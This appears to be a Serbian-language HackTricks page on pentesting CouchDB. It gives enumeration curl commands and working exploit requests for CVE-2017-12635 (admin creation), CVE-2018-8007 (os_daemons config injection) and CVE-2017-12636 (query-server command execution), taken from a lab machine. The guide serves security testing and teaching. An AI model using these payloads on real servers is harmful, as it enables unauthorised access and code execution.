5984,6984 - Pentesting CouchDB

Reading time: 12 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Osnovne informacije

CouchDB je svestran i moćan baza podataka orijentisana na dokumente koja organizuje podatke koristeći strukturu mapa ključ-vrednost unutar svakog dokumenta. Polja unutar dokumenta mogu biti predstavljena kao ključ/vrednost parovi, liste ili mape, pružajući fleksibilnost u skladištenju i preuzimanju podataka.

Svaki dokument koji se čuva u CouchDB dobija jedinstveni identifikator (_id) na nivou dokumenta. Pored toga, svaka izmena koja se napravi i sačuva u bazi podataka dobija broj revizije (_rev). Ovaj broj revizije omogućava efikasno praćenje i upravljanje promenama, olakšavajući preuzimanje i sinhronizaciju podataka unutar baze podataka.

Podrazumevani port: 5984(http), 6984(https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

Automatska Enumeracija

bash
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

Ručna Enumeracija

Baner

curl http://IP:5984/

Ovo izdaje GET zahtev ka instaliranoj CouchDB instanci. Odgovor bi trebao izgledati otprilike kao jedan od sledećih:

bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

note

Imajte na umu da ako pristupate root-u couchdb i dobijate 401 Unauthorized sa nečim poput: {"error":"unauthorized","reason":"Authentication required."} nećete moći da pristupite baneru ili bilo kojem drugom kraju.

Info Enumeration

Ovo su krajevi gde možete pristupiti sa GET zahtevom i izvući neke zanimljive informacije. Možete pronaći više krajeva i detaljnije opise u couchdb dokumentaciji.

  • /_active_tasks Lista aktivnih zadataka, uključujući tip zadatka, ime, status i ID procesa.
  • /_all_dbs Vraća listu svih baza podataka u CouchDB instanci.
  • **/_cluster_setup** Vraća status čvora ili klastera, prema čarobnjaku za podešavanje klastera.
  • /_db_updates Vraća listu svih događaja u bazi podataka u CouchDB instanci. Postojanje baze podataka _global_changes je neophodno za korišćenje ovog kraja.
  • /_membership Prikazuje čvorove koji su deo klastera kao cluster_nodes. Polje all_nodes prikazuje sve čvorove za koje ovaj čvor zna, uključujući one koji su deo klastera.
  • /_scheduler/jobs Lista zadataka replikacije. Svaki opis zadatka uključuje informacije o izvoru i odredištu, ID replikacije, istoriju nedavnih događaja i nekoliko drugih stvari.
  • /_scheduler/docs Lista stanja dokumenata replikacije. Uključuje informacije o svim dokumentima, čak i u completed i failed stanjima. Za svaki dokument vraća ID dokumenta, bazu podataka, ID replikacije, izvor i odredište, i druge informacije.
  • /_scheduler/docs/{replicator_db}
  • /_scheduler/docs/{replicator_db}/{docid}
  • /_node/{node-name} Krajnja tačka /_node/{node-name} može se koristiti za potvrdu imena Erlang čvora servera koji obrađuje zahtev. Ovo je najkorisnije kada pristupate /_node/_local da biste dobili ove informacije.
  • /_node/{node-name}/_stats Resurs _stats vraća JSON objekat koji sadrži statistiku za pokrenuti server. Literalni string _local služi kao alias za lokalno ime čvora, tako da se za sve URL-ove statistike, {node-name} može zameniti sa _local, da bi se interagovalo sa statistikom lokalnog čvora.
  • /_node/{node-name}/_system Resurs _system vraća JSON objekat koji sadrži razne sistemske statistike za pokrenuti server_._ Možete koristiti ___local kao {node-name} da dobijete informacije o trenutnom čvoru.
  • /_node/{node-name}/_restart
  • /_up Potvrđuje da je server aktivan, radi i spreman da odgovori na zahteve. Ako je maintenance_mode true ili nolb, krajnja tačka će vratiti 404 odgovor.
  • **/_uuids** Zahteva jedan ili više Univerzalno Jedinstvenih Identifikatora (UUID) iz CouchDB instance.
  • **/_reshard** Vraća broj završenih, neuspešnih, aktivnih, zaustavljenih i ukupnih zadataka zajedno sa stanjem reshardinga na klasteru.

Više zanimljivih informacija može se izvući kao što je objašnjeno ovde: https://lzone.de/cheat-sheet/CouchDB

Database List

curl -X GET http://IP:5984/_all_dbs

Ako taj zahtev odgovara sa 401 neautorizovano, onda su vam potrebne validne akreditive da biste pristupili bazi podataka:

curl -X GET http://user:password@IP:5984/_all_dbs

Da biste pronašli važeće akreditive, mogli biste pokušati bruteforce the service.

Ovo je primer couchdb odgovora kada imate dovoljno privilegija da listate baze podataka (To je samo lista db-ova):

bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Informacije o bazi podataka

Možete dobiti neke informacije o bazi podataka (kao što su broj fajlova i veličine) pristupanjem imenu baze podataka:

bash
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

Lista dokumenata

Nabrojite svaki unos unutar baze podataka

bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

Pročitaj dokument

Pročitaj sadržaj dokumenta unutar baze podataka:

bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

CouchDB eskalacija privilegija CVE-2017-12635

Zahvaljujući razlikama između Erlang i JavaScript JSON parsera, mogli biste napraviti admin korisnika sa kredencijalima hacktricks:hacktricks sa sledećim zahtevom:

bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

Više informacija o ovoj ranjivosti ovde.

CouchDB RCE

Pregled sigurnosti Erlang kolačića

Primer odavde.

U dokumentaciji CouchDB, posebno u odeljku koji se odnosi na postavljanje klastera (link), raspravlja se o korišćenju portova od strane CouchDB u klasterskom režimu. Pominje se da se, kao u samostalnom režimu, koristi port 5984. Pored toga, port 5986 je za node-lokalne API-je, a što je važno, Erlang zahteva TCP port 4369 za Erlang Port Mapper Daemon (EPMD), koji olakšava komunikaciju između nodova unutar Erlang klastera. Ova konfiguracija formira mrežu u kojoj je svaki nod međusobno povezan sa svim ostalim nodovima.

Ključna sigurnosna preporuka se ističe u vezi sa portom 4369. Ako je ovaj port dostupan preko Interneta ili bilo koje nepouzdane mreže, sigurnost sistema se u velikoj meri oslanja na jedinstveni identifikator poznat kao "kolačić." Ovaj kolačić deluje kao zaštita. Na primer, u datoj listi procesa, može se primetiti kolačić nazvan "monster", što ukazuje na njegovu operativnu ulogu u okviru sigurnosnog sistema.

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

Za one koji su zainteresovani za razumevanje kako se ovaj "kolačić" može iskoristiti za Remote Code Execution (RCE) u kontekstu Erlang sistema, dostupna je posvećena sekcija za dalju lektiru. Ona detaljno opisuje metodologije za korišćenje Erlang kolačića na neovlašćen način kako bi se postigla kontrola nad sistemima. Možete istražiti detaljan vodič o zloupotrebi Erlang kolačića za RCE ovde.

Iskorišćavanje CVE-2018-8007 kroz modifikaciju local.ini

Primer odavde.

Nedavno otkrivena ranjivost, CVE-2018-8007, koja utiče na Apache CouchDB, istražena je, otkrivajući da iskorišćavanje zahteva prava za pisanje na local.ini datoteku. Iako nije direktno primenljivo na inicijalni ciljni sistem zbog bezbednosnih ograničenja, izvršene su modifikacije kako bi se omogućio pristup za pisanje na local.ini datoteku u svrhu istraživanja. Detaljni koraci i primeri koda su navedeni u nastavku, prikazujući proces.

Prvo, okruženje se priprema osiguravajući da je local.ini datoteka zapisiva, što se proverava listanjem dozvola:

bash
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

Da bi se iskoristila ranjivost, izvršava se curl komanda, koja cilja cors/origins konfiguraciju u local.ini. Ovo ubacuje novi izvor zajedno sa dodatnim komandama pod [os_daemons] sekcijom, sa ciljem izvršavanja proizvoljnog koda:

bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

Naknadna verifikacija pokazuje injektovanu konfiguraciju u local.ini, upoređujući je sa rezervnom kopijom kako bi se istakle promene:

bash
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

Prvobitno, očekivana datoteka (/tmp/0xdf) ne postoji, što ukazuje na to da injektovana komanda još nije izvršena. Dalja istraga otkriva da su procesi povezani sa CouchDB u radu, uključujući jedan koji bi potencijalno mogao izvršiti injektovanu komandu:

bash
root@canape:/home/homer/bin# ps aux | grep couch

Prekidom identifikovanog CouchDB procesa i omogućavanjem sistemu da ga automatski ponovo pokrene, pokreće se izvršenje injektovane komande, što je potvrđeno postojanjem prethodno nedostajuće datoteke:

bash
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

Ova eksploracija potvrđuje izvodljivost eksploatacije CVE-2018-8007 pod specifičnim uslovima, posebno zahtevom za zapisivim pristupom local.ini datoteci. Pruženi primeri koda i proceduralni koraci nude jasan vodič za replikaciju eksploata u kontrolisanom okruženju.

Za više detalja o CVE-2018-8007, pogledajte savetovanje od mdsec: CVE-2018-8007.

Istraživanje CVE-2017-12636 sa dozvolama za pisanje na local.ini

Primer odavde.

Ranljivost poznata kao CVE-2017-12636 je istražena, koja omogućava izvršavanje koda putem CouchDB procesa, iako specifične konfiguracije mogu sprečiti njenu eksploataciju. I pored brojnih dokaza o konceptu (POC) dostupnih na mreži, potrebne su prilagodbe za eksploataciju ranjivosti na CouchDB verziji 2, koja se razlikuje od uobičajeno ciljanih verzija 1.x. Početni koraci uključuju verifikaciju verzije CouchDB i potvrđivanje odsustva očekivane putanje servera za upite:

bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/

Da bi se prilagodio CouchDB verziji 2.0, koristi se novi put:

bash
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers

Pokušaji dodavanja i pozivanja novog servera za upite naišli su na greške vezane za dozvole, što je naznačeno sledećim izlazom:

bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Dalja istraga je otkrila probleme sa dozvolama za local.ini datoteku, koja nije mogla da se piše. Modifikovanjem dozvola datoteke sa root ili homer pristupom, postalo je moguće nastaviti:

bash
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini

Naknadni pokušaji dodavanja servera za upite su uspeli, što je potvrđeno odsustvom poruka o grešci u odgovoru. Uspješna modifikacija local.ini datoteke je potvrđena kroz poređenje datoteka:

bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

Proces se nastavio kreiranjem baze podataka i dokumenta, nakon čega je usledio pokušaj izvršavanja koda putem prilagođenog prikaza mapiranja na novonadded server za upite:

bash
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'

A rezime sa alternativnim payload-om pruža dodatne uvide u eksploataciju CVE-2017-12636 pod specifičnim uslovima. Korisni resursi za eksploataciju ove ranjivosti uključuju:

Shodan

  • port:5984 couchdb

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks